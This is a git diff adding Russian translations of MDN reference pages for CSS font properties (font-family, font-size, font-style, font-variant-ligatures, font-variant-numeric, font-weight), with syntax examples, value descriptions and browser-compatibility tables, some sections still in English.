{{SpecName('CSS3 Box', '#float', 'float')}}{{Spec2('CSS3 Box')}}Lots of new values, not all clearly defined yet. Any differences in behavior unrelated to new features are expected to be unintentional; please report.
{{SpecName('CSS2.1', 'visuren.html#float-position', 'float')}}{{Spec2('CSS2.1')}}No change.
{{SpecName('CSS1', '#float', 'float')}}{{Spec2('CSS1')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1")}}4.07.01.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.0{{CompatGeckoMobile("1")}}6.06.01.0
+
+ +

See also

+ + diff --git a/files/ru/web/css/font-family/index.html b/files/ru/web/css/font-family/index.html new file mode 100644 index 0000000000..6af65ea731 --- /dev/null +++ b/files/ru/web/css/font-family/index.html @@ -0,0 +1,233 @@ +--- +title: font-family +slug: Web/CSS/font-family +tags: + - CSS + - CSS свойства + - CSS свойство + - семейства-шрифтов +translation_of: Web/CSS/font-family +--- +
{{CSSRef}}
+ +

CSS свойство font-family определяет приоритетный список из одного или нескольких названий семейства шрифтов и/или общее имя шрифта для выбранного элемента.

+ +
{{EmbedInteractiveExample("pages/css/font-family.html")}}
+ + + +

Значения разделены запятыми, чтобы указать, что они являются альтернативами. Браузер выберет из списка первый шрифт, который установлен или может быть скачан используя правило {{cssxref("@font-face")}} .

+ +

Часто удобно использовать сокращённое свойство {{cssxref("font")}}, чтобы задать font-size и другие свойства, которые относятся к шрифту.

+ +

Вы всегда должны добавлять по крайней мере одно имя общего семейства шрифтов, так как нет гарантии, что какой-либо из указанных шрифтов будет доступен. Это позволит браузеру выбрать подходящий запасной шрифт, когда возникнет необходимость.

+ +

Свойство font-family определяет список шрифтов в приоритете от высшего к низшему. Процесс выбора шрифта не останавливается после первого шрифта, найденного в системе пользователя. Скорее, выбор шрифта выполняется по одному символу за раз, поэтому если в доступном шрифте нет глифы для нужного символа, пробуются следующие по списку шрифты. (Однако, это не работает в Internet Explorer 6 и ранее.) Когда шрифт доступен только в некоторых {{cssxref('font-style','стилях')}}, {{cssxref('font-variant','видах')}} или {{cssxref('font-size','размерах')}}, эти свойства могут так же влиять на выбор шрифта.

+ +

Синтаксис

+ +
/* Имя шрифта и общие семейства шрифтов */
+font-family: Gill Sans Extrabold, sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;
+
+/* Только общие семейства */
+font-family: serif;
+font-family: sans-serif;
+font-family: monospace;
+font-family: cursive;
+font-family: fantasy;
+font-family: system-ui;
+font-family: emoji;
+font-family: math;
+font-family: fangsong;
+
+/* Глобальные значения */
+font-family: inherit;
+font-family: initial;
+font-family: unset;
+
+ +

Свойство font-family получает список из одного или более семейства шрифтов, разделённые запятыми. Каждое семейство шрифтов определяется как <family-name> или <generic-name>.

+ +

В приведенном ниже примере перечислены два семейства шрифтов, первое <family-name>, а второе как <generic-name>:

+ +
font-family: Gill Sans Extrabold, sans-serif;
+ +

Значения

+ +
+
<family-name>
+
Имя семейства шрифтов. К примеру, "Times" и "Helvetica" это семейства шрифтов. Названия семейства шрифтов, которые содержат пробелы, должны быть взяты в кавычки.
+
<generic-name>
+
+

Общие семейства шрифтов используются как резервный механизм для сохранения некоторого авторского стиля в момент, когда ни один из желаемых шрифтов недоступен. Общие семейства шрифтов являются ключевыми словами и не должны браться в кавычки. Общее семейство шрифтов должно определяться последним в списке семейств шрифтов. Определены следующие ключевые слова:

+ +
+
serif
+
Глифы имеют завершающие штрихи, расширяющиеся или сужающиеся концы, или имеют фактически зазубренные окончания.
+ Например, "Lucida Bright", "Lucida Fax", Palatino, "Palatino Linotype", Palladio, "URW Palladio", serif.
+
sans-serif
+
Глифы имеют гладкие окончания.
+ Например, "Open Sans", "Fira Sans", "Lucida Sans", "Lucida Sans Unicode", "Trebuchet MS", "Liberation Sans", "Nimbus Sans L", sans-serif.
+
monospace
+
Все глифы имеют одинаковую фиксированную ширину.
+ Например, "Fira Mono", "DejaVu Sans Mono", Menlo, Consolas, "Liberation Mono", Monaco, "Lucida Console", monospace.
+
cursive
+
Глифы в курсивных шрифтах обычно имеют либо соединительные штрихи, либо другие рукописные характеристики, отличные от наклонных (italic) шрифтов. Глифы частично или полностью связаны, и результат больше напоминает рукописное перо или кисть, чем печатные буквы. Например, "Brush Script MT", "Brush Script Std", "Lucida Calligraphy", "Lucida Handwriting", "Apple Chancery", cursive.
+
fantasy
+
Фэнтезийные шрифты - это прежде всего декоративные шрифты, которые содержат игривое представление персонажей. Например, Papyrus, Herculanum, Party LET, Curlz MT, Harrington, fantasy.
+
system-ui
+
Глифы, взятые из дефолтного шрифта пользовательского интерфейса на данной платформе. Поскольку типографские традиции широко варьируются по всему миру, это общее семейство предназначено для гарнитур, которые не отображаются точно в других общих семействах.
+
math
+
Это семейство предназначено для особых стилистических задач представления математики: верхний индекс и нижний индекс, скобки, которые пересекают несколько строк, вложенные выражения и двойные глифы с различными значениями.
+
emoji
+
Шрифты, специально предназначенные для отображения эмодзи.
+
fangsong
+
Особый стиль китайских иероглифов, который является чем-то средним между стилем с засечками Song и курсивным стилем Кай. Этот стиль часто используется для правительственных документов.
+
+
+
+ +

Валидные имена семейства шрифтов

+ +

Имена семейств шрифтов должны быть указаны либо в виде строк в кавычках, либо в виде последовательности одного или нескольких идентификаторов без кавычек. Если имя семейства шрифтов содержит цифры или знаки пунктуации, такое имя должно быть заключено в кавычки.

+ +

Например, следующие объявления являются валидными:

+ +
font-family: Gill Sans Extrabold, sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;
+ +

Следующие объявления являются не валидными:

+ +
font-family: Goudy Bookletter 1911, sans-serif;
+font-family: Red/Black, sans-serif;
+font-family: "Lucida" Grande, sans-serif;
+font-family: Ahem!, sans-serif;
+font-family: test@foo, sans-serif;
+font-family: #POUND, sans-serif;
+font-family: Hawaii 5-0, sans-serif;
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Некоторые общие семейства шрифтов

+ +
.serif {
+  font-family: Times, Times New Roman, Georgia, serif;
+}
+
+.sansserif {
+  font-family: Verdana, Arial, Helvetica, sans-serif;
+}
+
+.monospace {
+  font-family: Lucida Console, Courier, monospace;
+}
+
+.cursive {
+  font-family: cursive;
+}
+
+.fantasy {
+  font-family: fantasy;
+}
+
+.emoji {
+  font-family: emoji;
+}
+
+.math {
+  font-family: math;
+}
+
+.fangsong {
+  font-family: fangsong;
+}
+
+ + + +

{{ EmbedLiveSample('Некоторые_общие_семейства_шрифтов','600','120') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Fonts', '#generic-font-families', 'generic font families')}}{{Spec2('CSS4 Fonts')}}Добавляет новые общие семейства шрифтов, в частности: system-ui, emoji, math, and fangsong.
{{SpecName('CSS3 Fonts', '#font-family-prop', 'font-family')}}{{Spec2('CSS3 Fonts')}}Никаких существенных изменений
{{SpecName('CSS2.1', 'fonts.html#propdef-font-family', 'font-family')}}{{Spec2('CSS2.1')}}Никаких существенных изменений
{{SpecName('CSS1', '#font-family', 'font-familiy')}}{{Spec2('CSS1')}}Первоначальное определение
+ +

{{cssinfo}}

+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.font-family")}}

+ +

[1] system-ui в данный момент не реализовано, смотри {{bug(1226042)}}.

+ +

[2] system-ui реализовано в Safari (wkbug.com/151493), возможно будет выпущено в ближайшем времени.

+ +

[3] префиксный алиас -apple-system поддерживается в Safari, начиная с OS X 10.11 и iOS 9, а также в Firefox 43 на macOS ({{bug(1201318)}}).

diff --git a/files/ru/web/css/font-size/index.html b/files/ru/web/css/font-size/index.html new file mode 100644 index 0000000000..08e99d25d8 --- /dev/null +++ b/files/ru/web/css/font-size/index.html @@ -0,0 +1,300 @@ +--- +title: font-size +slug: Web/CSS/font-size +tags: + - CSS + - CSS свойства + - css шрифты +translation_of: Web/CSS/font-size +--- +
{{CSSRef}}
+ +

Описание

+ +

CSS Свойство font-size определяет размер шрифта. Это свойство также используется для вычисления размера em, ex и других относительных единиц. Подробнее: {{cssxref("<length>")}}.

+ +

{{EmbedInteractiveExample("pages/css/font-size.html")}}

+ +

Синтаксис

+ +
/* значения в <абсолютных размерах> */
+font-size: xx-small;
+font-size: x-small;
+font-size: small;
+font-size: medium;
+font-size: large;
+font-size: x-large;
+font-size: xx-large;
+
+/* значения в <относительных размерах> */
+font-size: larger;
+font-size: smaller;
+
+/* <значения длины> */
+font-size: 12px;
+font-size: 0.8em;
+
+/* <процентные значения> */
+font-size: 80%;
+
+/* Глобальные значения */
+font-size: inherit;
+font-size: initial;
+font-size: unset;
+
+ +

Свойство font-size устанавливается одним из следующих способов:

+ + + +

Значения

+ +
+
xx-small, x-small, small, medium, large, x-large, xx-large
+
Набор ключевых слов абсолютных значений, по отношению к пользовательскому размеру шрифта по умолчанию (им считается medium - среднее).
+
larger, smaller
+
Больше (larger) или меньше (smaller). Ключевые слова для относительного размера. Шрифт будет больше или меньше по отношению в размеру шрифта родительского элемента.Примерно на такое же соотношение, которое используется в ключевых словах абсолютного размера выше.
+
{{cssxref("<length>")}}
+
+

Положительное значение длины {{cssxref("<length>")}}. Для большинства единиц измерения, зависимых от шрифта (таких как em и ex), размер шрифта будет зависеть от размера шрифта родительских элементов.

+ +

Для единиц измерения, зависимых от шрифта, которые зависят от корневых единиц (таких как rem), размер шрифта будет коррелироваться по отношению к шрифту, используемому корневым элементом  {{HTMLElement("html")}} (root).

+
+
<процентные значения>
+
Положительное процентное {{cssxref("<percentage>")}} значение по отношению к размеру шрифта родительского элемента.
+
+ +
+

Примечание: Для обеспечения максимальной совместимости обычно лучше использовать значения, относящиеся к размеру шрифта пользователя по умолчанию.

+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Возможные подходы

+ +

Существуют разные способы задания размера шрифта. С помощью ключевых слов или с помощью числовых значений для размера пикселей или размера ems.  Выберите подходящий метод в зависимости от потребностей конкретной веб-страницы.

+ +

Ключевые слова

+ +

Keywords are a good way to set the size of fonts on the web. By setting a keyword font size on the body element, you can set relative font-sizing everywhere else on the page, giving you the ability to easily scale the font up or down on the entire page accordingly.

+ +

Pixels

+ +

Setting the font size in pixel values (px) is a good choice when you need pixel accuracy. A px value is static. This is an OS-independent and cross-browser way of literally telling the browsers to render the letters at exactly the number of pixels in height that you specified. The results may vary slightly across browsers, as they may use different algorithms to achieve a similar effect.

+ +

Font sizing settings can also be used in combination. For example, if a parent element is set to 16px and its child element is set to larger, the child element displays larger than the parent element in the page.

+ +
Note: Defining font sizes in pixel is not accessible, because the user cannot change the font size from the browser. (For example, users with limited vision may wish to set the font size much larger than the size chosen by a web designer.) Therefore, avoid using pixels for font sizes if you wish to create an inclusive design.
+ +

Ems

+ +

Another way of setting the font size is with em values. The size of an em value is dynamic. When defining the font-size property, an em is equal to the size of the font that applies to the parent of the element in question. If you haven't set the font size anywhere on the page, then it is the browser default, which is probably 16px. So, by default 1em = 16px, and 2em = 32px. If you set a font-size of 20px on the body element, then 1em = 20px and 2em = 40px. Note that the value 2 is essentially a multiplier of the current em size.

+ +

In order to calculate the em equivalent for any pixel value required, you can use this formula:

+ +
em = desired element pixel value / parent element font-size in pixels
+ +

For example, suppose the font-size of the body of the page is set to 1em, with the browser standard of 1em = 16px; if the font-size you want is 12px, then you should specify 0.75em (because 12/16 = 0.75). Similarly, if you want a font size of 10px, then specify 0.625em (10/16 = 0.625); for 22px, specify 1.375em (22/16).

+ +

A popular technique to use throughout the document is to set the the font-size of the body to 62.5% (that is 62.5% of the default of 16px), which equates to 10px, or 0.625em. Now you can set the font-size for any elements using em units, with an easy-to-remember conversion, by dividing the px value by 10. This way 6px = 0.6em, 8px = 0.8em, 12px = 1.2em, 14px = 1.4em, 16px = 1.6em. For example:

+ +
body {
+  font-size: 62.5%; /* font-size 1em = 10px on default browser settings */
+}
+span {
+  font-size: 1.6em; /* 1.6em = 16px */
+}
+ +

The em is a very useful unit in CSS, since it automatically adapts its length relative to the font that the reader chooses to use.

+ +

One important fact to keep in mind:  em values compound. Take the following HTML and apply it with the previous CSS above:

+ +
<div>
+<span>Outer <span>inner</span> outer</span>
+</div>
+
+ +

The result is:

+ +

{{EmbedLiveSample("Ems", 400, 40)}}

+ +

Assuming that the browser's default font-size is 16px, the words "outer" would be rendered at 16px, but the word "inner" would be rendered at 25.6px. This is because the inner span's font-size is 1.6 em which is relative to its parent's font-size, which is in turn relative to its parent's font-size. This is often called compounding.

+ +

Rems

+ +

rem values were invented in order to sidestep the compounding problem. rem values are relative to the root html element, not the parent element. In other words, it lets you specify a font size in a relative fashion without being affected by the size of the parent, thereby eliminating compounding.

+ +

The CSS below is nearly identical to the previous example. The only exception is that the unit has been changed to rem.

+ +
html {
+  font-size: 62.5%; /* font-size 1em = 10px on default browser settings */
+}
+span {
+  font-size: 1.6rem;
+}
+
+ +

Then we apply this CSS to the same HTML, which looks like this:

+ +
<span>Outer <span>inner</span> outer</span>
+ +

{{EmbedLiveSample("Rems", 400, 40)}}

+ +

In this example, the words "outer inner outer" are all displayed at 16px (assuming that the browser's font-size has been left at the default value of 16px).

+ +

Примеры

+ +

Пример 1

+ +
/* Set paragraph text to be very large. */
+p { font-size: xx-large }
+
+/* Set h1 (level 1 heading) text to be 2.5 times the size
+ * of the text around it. */
+h1 { font-size: 250% }
+
+/* Sets text enclosed within span tag to be 16px */
+span { font-size: 16px; }
+
+ +

Пример 2

+ +
.small {
+	font-size: xx-small;
+}
+.larger {
+	font-size: larger;
+}
+.point {
+	font-size: 24pt;
+}
+.percent {
+	font-size: 200%;
+}
+
+ +
<h1 class="small">Small H1</h1>
+<h1 class="larger">Larger H1</h1>
+<h1 class="point">24 point H1</h1>
+<h1 class="percent">200% H1</h1>
+ +

Live Sample

+ +

{{EmbedLiveSample('%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80_2','600','200')}}

+ +

Примечание

+ +

em and ex units on the {{Cssxref("font-size")}} property are relative to the parent element's font size (unlike all other properties, where they're relative to the font size on the element). This means em units and percentages do the same thing for {{Cssxref("font-size")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Fonts', '#font-size-prop', 'font-size')}}{{Spec2('CSS3 Fonts')}}No change
{{SpecName('CSS3 Transitions', '#animatable-css', 'font-size')}}{{Spec2('CSS3 Transitions')}}Defines font-size as animatable.
{{SpecName('CSS2.1', 'fonts.html#propdef-font-size', 'font-size')}}{{Spec2('CSS2.1')}}No change
{{SpecName('CSS1', '#font-size', 'font-size')}}{{Spec2('CSS1')}}Initial definition
+ +

Совместимость браузеров

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1")}}5.57.01.0
Rem values31.031.09[1]
+ 11		28.07.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.01.0{{CompatGeckoMobile("1")}}6.06.0 +

1.0

+
Rem values4.142{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Internet Explorer 9 and 10 only had partial support for this feature.

diff --git a/files/ru/web/css/font-style/index.html b/files/ru/web/css/font-style/index.html new file mode 100644 index 0000000000..8ccd637b99 --- /dev/null +++ b/files/ru/web/css/font-style/index.html @@ -0,0 +1,106 @@ +--- +title: font-style +slug: Web/CSS/font-style +tags: + - Ссылка + - шрифт +translation_of: Web/CSS/font-style +--- +
{{CSSRef}}
+ +

font-style это CSS свойство определяющее каким образом шрифт должен быть стилизирован, будь то это normal, italic, или oblique face из его {{cssxref("font-family")}}.

+ +
{{EmbedInteractiveExample("pages/css/font-style.html")}}
+ +

Italic шрифты в общем курсивные по своей сути, обычно занимают меньше горизонтального пространства чем их нестилизированные копии, тогда как oblique шрифты обычно просто наклонная версия регулярного шрифта. Когда определённый стиль не доступен, оба italic и oblique шрифты симулируются искусственно наклоняя глифы регулярного шрифта (используйте {{cssxref("font-synthesis")}} для управления этим поведением).

+ +

Syntax

+ +
font-style: normal;
+font-style: italic;
+font-style: oblique;
+
+/* Глобальные значения */
+font-style: inherit;
+font-style: initial;
+font-style: unset;
+
+ +

Свойство font-style определяется как единственное ключевое слово выбранное из списка значений внизу.

+ +

Values

+ +
+
normal
+
Выделяет шрифт который классифицирован как normal в {{Cssxref("font-family")}}.
+
italic
+
Выделяет шрифт который классифицирован как  italic. Если не доступна курсивная версия шрифта, взамен используется oblique классификация. Если не одна версия не доступна, то стиль симулируется искусственно.
+
oblique
+
Выделяет шрифт который классифицирован как  oblique. Если не доступна косая версия шрифта, взамен используется  italic классификация. Если не одна версия не доступна, то стиль симулируется искусственно.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +

Font styles

+ + + +
.normal {
+  font-style: normal;
+}
+
+.italic {
+  font-style: italic;
+}
+
+.oblique {
+  font-style: oblique;
+}
+ +

{{ EmbedLiveSample('Font_styles') }}

+ +

Specific​ations

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Fonts', '#font-style-prop', 'font-style')}}{{Spec2('CSS3 Fonts')}}No change
{{SpecName('CSS2.1', 'fonts.html#propdef-font-style', 'font-style')}}{{Spec2('CSS2.1')}}No change
{{SpecName('CSS1', '#font-style', 'font-style')}}{{Spec2('CSS1')}}Initial definition
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.font-style")}}

diff --git a/files/ru/web/css/font-variant-ligatures/index.html b/files/ru/web/css/font-variant-ligatures/index.html new file mode 100644 index 0000000000..1e73617ac2 --- /dev/null +++ b/files/ru/web/css/font-variant-ligatures/index.html @@ -0,0 +1,152 @@ +--- +title: font-variant-ligatures +slug: Web/CSS/font-variant-ligatures +translation_of: Web/CSS/font-variant-ligatures +--- +
{{CSSRef}}
+ +

Сводка

+ +

Свойство CSS Font-variant-ligatures контролирует, какие лигатуры и контекстные формы используются в текстовом содержимом элемента, к которому применяется. Это повышает гармоничность форм получаемого в результате текста.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
font-variant-ligatures: normal;
+font-variant-ligatures: none;
+font-variant-ligatures: common-ligatures;           /* <common-lig-values> */
+font-variant-ligatures: no-common-ligatures;        /* <common-lig-values> */
+font-variant-ligatures: discretionary-ligatures;    /* <discretionary-lig-values> */
+font-variant-ligatures: no-discretionary-ligatures; /* <discretionary-lig-values> */
+font-variant-ligatures: historical-ligatures;       /* <historical-lig-values> */
+font-variant-ligatures: no-historical-ligatures;    /* <historical-lig-values> */
+font-variant-ligatures: contextual;                 /* <contextual-alt-values> */
+font-variant-ligatures: no-contextual;              /* <contextual-alt-values> */
+font-variant-ligatures: contextual;                 /* <no-historical-ligatures> <common-ligatures> */
+
+/* Глобальные значения */
+font-variant-ligatures: inherit;
+font-variant-ligatures: initial;
+font-variant-ligatures: unset;
+
+ +

Значения

+ +
+
normal
+
Это ключевое слово ведет к активации обычных лигатур и контекстных форм, необходимых для корректного рендеринга. Активируемые лигатуры и формы зависят от шрифта, языка и типа письма. Это значение по умолчанию.
+
none
+
Это ключевое слово устанавливает, что все лигатуры и контекстные формы отключены, даже распространенные.
+
<common-lig-values>
+
Эти значения контролируют наиболее распространенные лигатуры, такие как лигатуры для сочетаний fi, ffi, th или подобных. Они относятся к значениям liga и clig в OpenType. Допустимы два значения: +
    +
  • common-ligatures активирует эти лигатуры. Обратите внимание, что ключевое слово normal активирует лигатуры.
    • +
  • no-common-ligatures отключает эти лигатуры.
    • +
+
+
<discretionary-lig-values>
+
Эти значения управляют определенными лигатурами, специфичными для шрифта и определяемыми дизайнером шрифта. Они соответствуют значениям OpenType hlig. Доступны два значения: +
    +
  • discretionary-ligatures активирует данные лигатуры.
    • +
  • no-discretionary-ligatures деактивирует лигатуры. Обратите внимание, обычно, ключевое слово normal также деактивирует лигатуры.
    • +
+
+
<historical-lig-values>
+
(ß) Эти значения контролируют лигатуры, которые исторически использовались в старых книгах, например, немецкий tz ("tz диаграф", прим. перев.). Они соответствуют значениям OpenType hlig. Доступны два значения: +
    +
  • historical-ligatures активирует данные лигатуры.
    • +
  • no-historical-ligatures деактивирует лигатуры. Обратите внимание, обычно, ключевое слово normal также деактивирует лигатуры.
    • +
+
+
<contextual-alt-values>
+
Эти значения определяют, адаптируются ли буквы к своему контексту, то есть адаптируются ли они к окружающим их буквам. Эти значения соответствуют вычисленным значениям OpenType. Возможны два значения: +
    +
  • contextualуказывает, что должны использоваться контекстные альтернативы. Обратите внимание, что ключевое слово normal обычно также активирует лигатуры.
    • +
  • no-contextual предотвращает их использование.
    • +
+
+
+ +

Соответствующий правилам синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
p {
+  font-variant-ligatures: none;
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Fonts', '#propdef-font-variant-ligatures', 'font-variant-ligatures')}}{{Spec2('CSS3 Fonts')}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatGeckoDesktop("34")}} [1]{{CompatChrome(31)}} {{property_prefix("-webkit")}}
+ {{CompatChrome(34)}}		10.019.0{{property_prefix("-webkit")}}7.0{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка4.4 {{property_prefix("-webkit")}}{{CompatGeckoMobile("34")}}[1]{{ CompatUnknown() }}{{ CompatUnknown() }}7.0{{property_prefix("-webkit")}}
+
+ +

[1] Экспериментальная реализация была доступна начиная с Gecko 24. Она регулировалась настройкой layout.css.font-features.enabled , по умолчанию значение true только для Nightly и Aurora. Ключевое слово none было добавлено в Gecko 28.

diff --git a/files/ru/web/css/font-variant-numeric/index.html b/files/ru/web/css/font-variant-numeric/index.html new file mode 100644 index 0000000000..ebe5716b68 --- /dev/null +++ b/files/ru/web/css/font-variant-numeric/index.html @@ -0,0 +1,151 @@ +--- +title: font-variant-numeric +slug: Web/CSS/font-variant-numeric +tags: + - CSS + - Свойства CSS + - Шрифты CSS +translation_of: Web/CSS/font-variant-numeric +--- +
{{CSSRef}}
+ +

Summary

+ +

Свойство CSS font-variant-numeric управляет использованием альтернативных начертаний для цифр, дробей и порядковых числительных.

+ +

{{cssinfo}}

+ +

Syntax

+ +
Formal syntax: {{csssyntax("font-variant-numeric")}}
+ +
font-variant-numeric: normal
+font-variant-numeric: ordinal
+font-variant-numeric: slashed-zero
+font-variant-numeric: lining-nums         /* <numeric-figure-values> */
+font-variant-numeric: oldstyle-nums       /* <numeric-figure-values> */
+font-variant-numeric: proportional-nums   /* <numeric-spacing-values> */
+font-variant-numeric: tabular-nums        /* <numeric-spacing-values> */
+font-variant-numeric: diagonal-fractions  /* <numeric-fraction-values> */
+font-variant-numeric: stacked-fractions   /* <numeric-fraction-values> */
+font-variant-numeric: oldstyle-nums stacked-fractions
+
+font-variant-numeric: initial
+font-variant-numeric: inherit
+font-variant-numeric: unset
+
+ +

Values

+ +
+
normal
+
Это ключевое слово отключает все альтернативные начертания.
+
ordinal
+
Это ключевое слово включает специальные глифы для порядковых числительных, например, 1st, 2nd, 3rd, 4th в английском или 1a в итальянском (в русском такие типографские изыски не приняты, пишут просто «1-й»). Это соответствует значению OpenType ordn.
+
slashed-zero
+
Это ключевое слово включает перечёркнутый ноль; это полезно, когда нужно чёткое различие между буквой O и цифрой 0. Это соответствует значению OpenType zero.
+
<numeric-figure-values>
+
Эти значения управляют тем, какими знаками будут отображаться цифры. Возможны два значения: +
    +
  • lining-nums включает маюскульные («заглавные») цифры, стоящие на опорной линии текста. Это соответствует значению OpenType lnum.
    • +
  • oldstyle-nums включает минускульные («строчные») цифры, в которых некоторые знаки (3, 4, 7, 9) уходят нижним краем под опорную линию (в русской типографике не принято, зато широко используется в западной, в основном в шрифтах с засечками). Это соответствует значению OpenType onum.
    • +
+
+
<numeric-spacing-values>
+
Эти значения управляют горизонтальным размером цифр. Возможны два значения: +
    +
  • proportional-nums включает цифры разной ширины. Это соответствует значению OpenType pnum.
    • +
  • tabular-nums включает цифры одинаковой ширины, которые легко выравниваются, как в таблицах. Это соответствуют значению OpenType tnum.
    • +
+
+
<numeric-fraction-values>
+
Эти значения управляют отображением дробей. Возможны два значения: +
    +
  • diagonal-fractions включает символы дробей, в которых числитель и знаменатель уменьшены и разделены косой чертой. Это соответствует значению OpenType frac.
    • +
  • stacked-fractions включает символы дробей, где числитель и знаменатель уменьшены, поставлены друг над другом и разделены горизонтальной чертой.  Это соответствует значению OpenType afrc.
    • +
+
+
+ +

Examples

+ +
p {
+  font-variant-numeric: ordinal;
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Fonts', '#propdef-font-variant-numeric', 'font-variant-numeric')}}{{Spec2('CSS3 Fonts')}}Initial definition
+ +

Browser Compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari (WebKit)
Basic support{{CompatGeckoDesktop("34")}} [1]{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatGeckoMobile("34")}}[1]{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1] Experimental implementation was available since Gecko 24. It was governed by the preference layout.css.font-features.enabled defaulting to true on Nightly and Aurora only.

+ +

See also

+ +
    +
  • {{cssxref("font-variant")}}, {{cssxref("font-kerning")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-position")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-synthesis")}}.
    • +
diff --git a/files/ru/web/css/font-weight/index.html b/files/ru/web/css/font-weight/index.html new file mode 100644 index 0000000000..290ab85aca --- /dev/null +++ b/files/ru/web/css/font-weight/index.html @@ -0,0 +1,316 @@ +--- +title: font-weight +slug: Web/CSS/font-weight +tags: + - CSS + - Свойства + - Справка + - Шрифты +translation_of: Web/CSS/font-weight +--- +
{{CSSRef}}
+ +

CSS свойство font-weight устанавливает начертание шрифта. Некоторые шрифты доступны только в нормальном или полужирном начертании.

+ +
{{EmbedInteractiveExample("pages/css/font-weight.html")}}
+ + + +

Синтаксис

+ +
font-weight: normal;
+font-weight: bold;
+
+/* Relative to the parent */
+font-weight: lighter;
+font-weight: bolder;
+
+font-weight: 100;
+font-weight: 200;
+font-weight: 300;
+font-weight: 400;
+font-weight: 500;
+font-weight: 600;
+font-weight: 700;
+font-weight: 800;
+font-weight: 900;
+
+/* Global values */
+font-weight: inherit;
+font-weight: initial;
+font-weight: unset;
+
+ +

Значения

+ +
+
normal
+
Нормальное начертание. То же, что и 400.
+
bold
+
Полужирное начертание. То же, что и 700.
+
lighter
+
Изменяет начертание относительно насыщенности родительского элемента (сверхтонкое начертание).
+
bolder
+
Изменяет начертание относительно насыщенности родителя элемента (сверхжирное начертание).
+
100, 200, 300, 400, 500, 600, 700, 800, 900
+
Цифровые значения насыщенности шрифтов, которые позволяют задавать больше, чем нормальное и полужирное начертание.
+
+ +

Недоступность заданного значения

+ +

Если заданное цифровое значение насыщенности недоступно, для определения толщины отображемого шрифта используется следующий алгоритм:

+ +
    +
  • Если задано значение выше 500, будет использовано первое доступное более жирное начертание (если такого не окажется, то первое доступное более светлое).
    • +
  • Если задано значение менее 400, будет использовано первое доступное более светлое начертание (если такого не окажется, то первое доступное более жирное).
    • +
  • Если задано значение 400, будет применено 500. Если 500 недоступно, то будет использован алгоритм для подбора значений менее 400.
    • +
  • Если задано значение 500, будет применено 400. Если 400 недоступно, то будет использован алгоритм для подбора значений менее 400.
    • +
+ +

Это означает, что для шрифтов, которые предоставляют только normal и bold начертания, 100-500 normal, и 600-900 bold.

+ +

Значение относительных весов

+ +

Когда используется жирнее или светлее, следующая таблица используется для вычисления абсолютного веса элемента:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
наследуемое значениежирнеесветлее
100400100
200400100
300400100
400700100
500700100
600900400
700900400
800900700
900900700
+ +

Определение веса имени

+ +

Значения от 100 до 900, примерно, соответствуют следующим распространенным именам насыщенности:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ЗначениеОбщее название
100Тонкий (Волосяной) Thin (Hairline)
200Дополнительный светлый (Сверхсветлый) Extra Light (Ultra Light)
300Светлый Light
400Нормальный Normal
500Средний Medium
600Полужирный Semi Bold (Demi Bold)
700Жирный Bold
800Дополнительный жирный (Сверхжирный) Extra Bold (Ultra Bold)
900Черный (Густой) Black (Heavy)
+ +

Интерполяция

+ +

